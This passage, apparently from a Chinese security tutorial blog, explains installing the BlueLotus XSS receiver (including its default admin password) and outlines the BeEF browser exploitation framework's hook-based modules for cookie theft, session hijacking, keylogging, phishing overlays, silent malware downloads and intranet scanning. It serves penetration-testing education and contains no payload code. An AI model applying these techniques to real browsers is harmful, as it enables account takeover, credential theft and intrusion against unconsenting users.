  访问http://你的服务器地址/BlueLotus_XSSReceiver-master/login.php

  4. 登录后台

  安装成功后，通过 http://你的服务器地址/BlueLotus_XSSReceiver-master/admin.php 访问后台。

密码：blueLotus

填写密码登录进去

进入下图页面表示安装成功

3、攻击视角：以窃取Cookie为例

4、防御视角：蓝莲花的利用与对抗

对防守方来说，蓝莲花这类平台也提供了重要的检测和分析价值。安全研究人员可以利用它来模拟攻击，从而验证漏洞并了解攻击者的行为模式。捕获的攻击数据会被完整记录，包含IP、时间戳、HTTP头等，便于进行溯源分析。

当然，蓝莲花也支持HTTPS回传和数据加密存储，确保捕获的数据在传输和存储过程中的机密性与完整性。

5、横向对比

在 XSS 测试与利用领域，蓝莲花（BlueLotus）通常与 BeEF 和 XSStrike 一起被提及。以下是它们的简单对比：

八、XSS-BEEF

BeEF（Browser Exploitation Framework，浏览器利用框架）是一款专业的浏览器渗透测试工具。与专注于被动接收数据的XSS平台不同，BeEF的核心在于提供了一个强大的命令和控制面板，能够对已经“上钩”的浏览器进行持续的、双向的实时交互与控制。

• 核心定义：一款浏览器渗透测试框架，重点是利用浏览器端的漏洞。

• 运作模式：通过XSS等漏洞将 hook.js 注入目标浏览器（“上钩”），并与BeEF服务器建立持久的通信通道。

• 主要目的：评估浏览器的安全性，模拟客户端攻击，进行社会工程学测试。

• 技术栈：由Ruby语言开发，提供Web界面进行操作。

1、BeEF vs. BlueLotus：核心区别

简单来说，BlueLotus像是设置了一个“陷阱”来捕捉猎物，而BeEF则更像是在猎物身上安装了一个永久的“监控和遥控装置”。

2、工作原理

BeEF的核心在于一个永久的“钩子”（Hook）。

3、核心功能与应用

信息收集与持久化

• 信息收集 (Details & Logs)：获取“上钩”浏览器的操作系统版本、插件列表、Cookie、当前页面等信息。还可利用Logs功能记录用户在网页上的点击和键盘输入。

• 会话劫持 (Get Cookie)：窃取会话Cookie后，利用工具（如Postman）直接重放请求，在未登录状态下侵入账户，演示无缝身份接管。

浏览器控制与操作 (Browser)

• 网页重定向 (Redirect Browser)：强制浏览器跳转到钓鱼页面，进行进一步的攻击。

• 浏览器伪装 (Fake Notification Bar)：在页面上伪造系统通知栏，诱导用户点击，可能导致反弹shell等严重后果。

• 引导下载 (Social Engineering)：强制浏览器后台静默下载恶意文件，用于进一步的木马植入。

社会工程学 (Social Engineering)

• 漂亮的窃取 (Pretty Theft)：在目标页面弹出伪造的登录框，诱导受害者输入账号密码等敏感信息，实现凭证窃取。

• 定制钓鱼 (Custom Phishing)：在真实网页上覆盖伪造内容，用于针对性钓鱼或特定目的（如虚假中奖信息）。

内网探测与横向移动 (Network)

• 内网存活主机发现 (Ping Sweep)：调用被控制浏览器的网络功能，探测其所在内网中的其他存活主机IP地址。

• 内网端口扫描 (Port Scanner)：扫描内网指定主机的端口开放情况，为后续的进一步攻击提供信息。

横向工具联动

• 结合Metasploit：将BeEF作为攻击跳板，向其传递Metasploit的payload，实现从浏览器漏洞到系统层的深入利用。

4、模块状态说明

在BeEF的Web面板中执行命令时，会通过颜色来标识攻击模块的状态:

• 绿色: 功能有效，且执行过程中用户不可见。

• 橙色: 功能有效，但执行过程中可能会被用户察觉。

• 灰色: 功能在当前环境下未经验证，可能有效。

• 红色: 功能对当前浏览器无效。

5、快速安装与使用

可以修改/usr/share/beef-xss/config.yaml文件中的host，将IP地址从0.0.0.0改为Kali机器的实际IP，使BeEF可被外部机器访问。

运行之后就可以进行监听等一系列操作

6、注意事项

• 操作规范：BeEF功能强大，使用前必须获得授权。所有操作需严格遵守法律法规及行业道德标准。

• 功能限制：部分模块因现代浏览器安全策略增强可能受限。执行Hook Domain等命令时，目标需与BeEF在同一网络或路由可达。

• 学习指引：首次使用时，除DVWA外，BeEF自带的演示页面也是一个很好的学习入口。

BeEF的强大之处在于它能将简单的XSS漏洞扩展为对整个浏览器的持续控制，是理解客户端安全与模拟高级攻击链路的关键工具。建议在DVWA等本地靶场环境中进行实践，以掌握其核心使用方法。